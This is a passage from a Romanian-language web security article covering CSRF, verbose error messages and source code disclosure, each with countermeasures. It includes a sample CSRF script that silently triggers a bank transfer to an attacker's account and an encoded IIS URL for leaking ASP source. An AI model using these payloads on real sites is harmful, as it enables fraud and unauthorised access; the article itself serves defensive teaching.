• Relaţionări bazate pe încredere: arhitectura paginii dumneavoastră ar trebui să evite relaţiile implicite de încredere între componente ori de câte ori este posibil acest lucru. Fiecare componentă în parte ar trebui să se autentifice faţă de o alta cu care interacţionează. Dacă o relaţie de încredere este absolut necesară, atunci ar trebui că această nu poată fi , prin mecanisme procedurale de , care protejeze chiar cadrul unei dezvoltări timp.

8. Cross-site Request Forgery (CSRF)

Cross a€“site Request Forgery (CSRF sau XSRF) este o formă de atac asupra aplicaţiilor web care se foloseşte de relaţiile de încredere existente între aplicaţiile web şi utilizatorii autentificati prin a forţa acei utilizatori să facă tranzacţii sensibile în numele atacatorului. Această vulnerabilitate, deşi mai puţin cunoscută că XSS, este mult mai periculoasă decât cross-site scripting, deoarece, îşi are rădăcinile în natură lipsită de stare ale specificaţiilor HTTP-ului, care cer că un token de autentificare să fie trimis cu fiecare cerere a utilizatorului.
În mod obişnuit, vulnerabilităţile web apăr că urmare a unor greşeli făcute de dezvoltatorii paginilor web în timpul proiectării şi dezvoltării acestora, sau de către administratori în timpul utilizării acestora. Spre deosebire de restul, vulnerabilităţile de tip XSRF, apăr atunci când dezvoltatorii omit un mecanism de prevenire a XSRF din aplicaţia lor.

Atacul:

Un exemplu classic este cel al unei aplicaţii bancare, carré le permite utilizatorilor să transfere fonduri dintr-un cont în altul folosind o cerere simplă GET prin HTTP. Presupunem că aplicaţia foloseşte următoarea modalitate de a transfera fondurile:

 http://xsrf.bancavulnerabila.com/transferFonduri.aspx? 
  	 Incontul=12345&fonduri=1000.00&valuta=euro 

Continuând cu exemplul de mai sus, presupunem că un atacator creează o pagina HTML maliţioasă pe un sistem care se află sub controlul lui, care conţine următorul cod JavaScript:

  	 <script type a€œtext/javascript”> 
  	 Var i document.createElement(a€œimage”); 
  	 i.src="http://xsrf.bancavulnerabila.com/transferFonduri.aspx?"Incontul=ATACATOR&fonduri=1000.00&valuta=euro”; 
  	 </script> 

Efectul acestui cod este de a creea un tag de imagine dinamic în HTML (), şi să seteze sursa ca fiind cea a transferului de fonduri din aplicaţia vulnerabilă a băncii. Browser-ele clienţilor autentificati pe pagina băncii respective, care accesează pagina atacatorului, o să execute codul JavaScript al acestuia, şi o să creeze în fundal o cerere HTTP GET legată la sursă imaginii dinamice iar acţiunea va fi executată că şi cum utilizatorul ar fi făcut-o în mod voluntar.

Metode de prevenire a vulnerabilităţilor de tip Cross-site Request Forgery:

• Cookie-uri postate de două ori: această metodă de apărare constă în introducerea unui câmp de introducere a datelor secret care să conţină valoarea actuală a ID-ului de sesiune a utilizatorului sau o altă valoare securizată generată aleator într-un cookie al clientului, pentru orice formular folosit la transmiterea datelor sensibile. Când formularul este postat, serverul aplicaţiei va verifica dacă valoarea cookie-ului din formular coincide cu cea din antetul HTTP al cererii, în caz contrar cererea va fi ignorată ca şi invalidă şi se va loga ca potenţial atac. Această metodă se bazează pe faptul că atacatorul nu ştie valoarea cookie-ului de sesiune al utilizatorului, dacă prin altă metodă acesta reuşeşte să afle valoarea aceasta, strategia de apărare nu va avea success.
• Nonce unic pentru formular: este probabil cea mai folosită metodă de apărare împotrivă CSRF şi consata în construirea fiecărui formular folosind un câmp ascuns care conţine un nonce (number used once) obţinut folosind un generator pseudoaleator de numere securizate prin încriptare, pentru a nu fi vulnerabil la atac. Când serverul aplicaţiei primeşte valorile parametrilor formularului că făcând parte dintr-o cerere HTTP POST, va compara valoarea nonce-ului cu valoarea stocată în memorie şi va ignora cererea dacă valorile acestora diferă sau dacă valaoarea nonce-ului a expirat.
• Cererea credentialelor de autentificare: această metodă le cere utilizatorilor autentificati să reintroduca parola corespunzătoare sesiunii în care sunt autentificati ori de câte ori fac o tranzacţie sensibilă. Acesta strategie este des întâlnită în aplicaţiile web în cadrul cărora tranzatiile de o natură sensibilă se întâmplă rar (cel mai adesea fiind schimbări ale informaţiilor de pe profilul utilizatorului).

9. Verbose Errors

Nu sunt un tip de atac în sine, însă mesajele de eroare cu scop informativ pot conţine adresele complete şi numele fişierelor, descrieri ale tabelelor SQL, erori ale bazei de date, sau alte erori legate de aplicaţie şi mediul în care rulează.
Un formular tipic de autentificare îi cere utilizatorului să introducă două informaţii (nume de utilizator şi parolă), alte aplicaţii cer mai multe informaţii (data naşterii, un cod PIN). Când un process de autentificare dă greş, poţi în mod evident să îţi dai seama că una din informaţiile introduse nu au fost corecte, însă uneori, apicatia, te anunţă care din ele a fost greşită, acest lucru poate fi folosit pentru a diminua eficienţa mecanismului de autentificare. În cel mai simplu caz, unde autentificarea cere nume de utilizator şi parolă, aplicaţia poate răspunde la o autentificare nereuşită prin identificarea motivului (nu a recunoscut numele de utilizator sau parola este greşită).

Atacul:

Într-un asemenea caz, puteţi folosi o metodă automată de atac, care să parcurgă o lista mare de nume de utilizatori commune pentru a află care din ele sunt valide, deşi în general numele utilizatorilor nu sunt considerate a fi secrete, identificarea lor îi da atacatorului şanse mai mari de a compromite aplicaţia folosindu-se de timp, abilitate şi efort. O lista de nume de utilizatori enumerate poate fi folosită ulterior pentru diverse metode de atac incluzând: ghicirea parolelor, atacuri asupra datelor utilizatorilor sau sesiunilor, sau inginerie socială.
În procesele de autentificare mai complexe, unde aplicaţia cere utilizatorului să introducă mai multe informaţii, sau să treacă prin mai multe etape, mesajele de eroare verbose sau alţi discriminatori pot ajuta un atacator să treacă prin fiecare etapă a autentificării, crescandu-i şansele de a obţine acces neautorizat.

Metode de prevenire a atacurilor bazate pe Verbose Errors:

• Utilizaţi validările pe partea clientului doar pentru performanţă, nu şi pentru securitate: macanismele de verificare a datelor introduse pe partea clientului previn erorile de introducere şi de tipar nevinovate să ajungă la server, acest pas de anticipare a validării pot reduce solicitarea severului, impiedicatnd datele introduse greşit în mod neintenţionat să ajungă la acesta.
• Normalizati datele de intrare: multe atacuri folosesc o multitudine de codări diferite bazate pe seturi de caractere şi reprezentări hexadecimale. Datele de intrare ar trebui canonizate înainte de verificarea de scuritate şi validare, altel o bucată de cod poate trece prin filtre şi să fie decodată şi descoperită că a fi maliţioasă doar mai târziu.
• Aplicaţi validarea pe partea serverului: doate datele de la browser pot fi modificate cu conţinut arbitrar, aşadar, validarea datelor introduse ar trebui făcută de server, unde evitarea funcţiilor de validare nu este posibilă.
• Restrangeti tipurile de date care pot fi introduse: aplicaţia nu ar trebui să conţină tipuri de date care nu îndeplinesc tipul de bază, formatul, şi lungimea cerute.
• Utilizaţi codarea securizată a caracterelor şi validarea datelor de ieşire: caracterele utilizate în formatele HTML şi SQL ar trebui codate în aşa măsură încât, să împiedice aplicaţia să le interpreteze greşit. Acest tip de validară a datelor de ieşire sau de reformatare a caracterelor reprezintă un nivel additional de protejare împotrivă atacurilor prin injectare HTML, chiar dacă un cod maliţios reuşeşte să treacă de un filtru de intrare a datelor, efectele acestuia vor fii neglijate în momentul în care ajunge în faza de ieşire.
• Utilizaţi white lists şi black lists: utilizaţi expresii obişnuite pentru a căuta dacă datele fac parte din conţinut autorizat sau neautorizat, white lists conţin tiparele de date acceptate, iar black lists conţin tipare de date neacceptate sau maliţioase.
• Aveţi grijă cu mesajele de eroare: indiferent de limbajul folosit pentru a scrie aplicaţia erorile ar trbui să urmărească conceptele de incerarca, descoperă, în final când vine vorba de tratarea excepţiilor. Incearcati o acţiune, descoperiţi excepţiile specifice care pot fi cauzate de acea acţiune; în final închideţi aplicaţia dacă nimic altceva nu funcţionează. De asemenea creaţi un mesajde eroare politicos care însă nu dezvăluie nici o informaţie despre sistem.
• Solicitaţi autentificare: în unele cazuri s-ar putea să fie necesar să configuraţi serverul în aşa măsură încât să fie solicitată autentificarea la nivelul de director pentru toate fisierede din interiorul acelui director.

10. Source Code Disclosure

Divulgarea codului sursă este o eroare de codare foarte des întâlnită în aplicaţiile web, care poate fi exploatate de către un atacator pentru a obţine codul sursă şi configurearea fişierelor prin intermediul HTTP, acest lucru îi oferă atacatorului o înţelegere mai profundă a logicii aplicaţiei web.
Multe pagini web oferă utilizatorilor fişiere pentru download folosind pagini dinamice specializate. Când browser-ul cere pagina dinamică, mai întâi serverul execută fişierul şi apoi returnează rezultatul în browser, deci paginile dinamice sunt, de fapt, coduri executate pe serverul web. Dacă această pagină nu este codată suficient de securizat, un atacator o poate exploata pentru a descărca codul sursă şi chiar fişierele de configurare.
Folosind un atac de tip divulgarea codului sursă, atacatorul poate obţine codurile sursă pentru aplicaţiile de pe server, cum ar fi: ASP, PHP şi JSP. Obţinerea codului sursă al aplicaţiilor de pe server îi oferă atacatorului o imagine mai bună asupra logicii aplicaţiei, modul în care aplicaţia gestionează cererile şi parametrii lor, structură bazei de date, vulnerabilităţile codului şi comentariile introduse în el. Odată ce are codul sursă şi posibul un duplicat al aplicaţiei pe care să poate face teste, atacatorul se poate pregăti pentru un atac asupara aplicaţiei.

Atacul:

Poate fi făcut prin mai multe metode:

• Folosind vulnerabilităţi cu divulgare a codului sursă cunoscute
• Exploatarea unei vulnerabulitati din aplicaţie care s-ar putea să permită divulgarea codului sursă
• Exploatarea erorilor detaliate care uneori pot include codul sursă
• Utilizând alte tipuri de vulnerabilităţi cunoscute care se pot dovedi utile pentru divulgarea codului sursă (cum ar fi traversarea directoarelor)

De exemplu, luăm în considerare un site web pe care rulează Microsoft Internet Information Server (IIS). Trimitem urmarorul URL serverului web:
http://www.vulnerabil-iis.com/exemplu.%61%73%70
Atacatorul poate obţine codul sursă al acestui exemplu, deoarece există o vulnerabiliatate în serverele IIS când vine vorba de gestionarea fişierelor .asp, care îi permite să obţină codul sursă al fişierelor .asp de la distanţă. Dacă IIS este instalat pe o partiţie FAT şi atacatorul trimite o cerere codată în Unicode pentru a obţine un fişier .asp (%61%73%70 este codul Unicode pentru a€œasp”), serverul IIS nu îl va recunoaşte că şi fişier ASP aşadar nu îl va executa, ci va trimite codul sursă ASP direct browserului.

Metode de prevenire a atacurilor de tip Source Code Disclosure:

• Verificaţi folderul de unde este cerut fişierul care urmează să fie descărcat (menţineţi un white list cu numere directoarelor de unde este permisă download-area fişierelor şi validaţi cererile pe bază acestuia).
• Verificaţi tipul de fişiere care sunt cerute de utilizatori.
• Indexati fişierele care pot fi descărcate şi afişaţi doar numărul lor din index că şi parametru al URL-ului.

După cum am exemplificat mai sus, atacurile cibernetice sunt pe cât de reale, pe atât de periculoase, mai ales într-o lume în care informaţia a ajuns să fie cea mai preţioasă marfă din toate, pierderea de informaţii poate duce la pierderi catastrofale atât financiare cât şi de imagine ale paginii web. Poate una din cele mai bune investiţii într-o afacere este cea făcută pentru protejarea datelor pe care această le deţine.

Daca acest articol contine o greseala, selecteaza cuvintele sau fraza gresita si tasteaza combinatia de taste Shift + Enter sau apasa click aici pentru a o raporta. Multumim!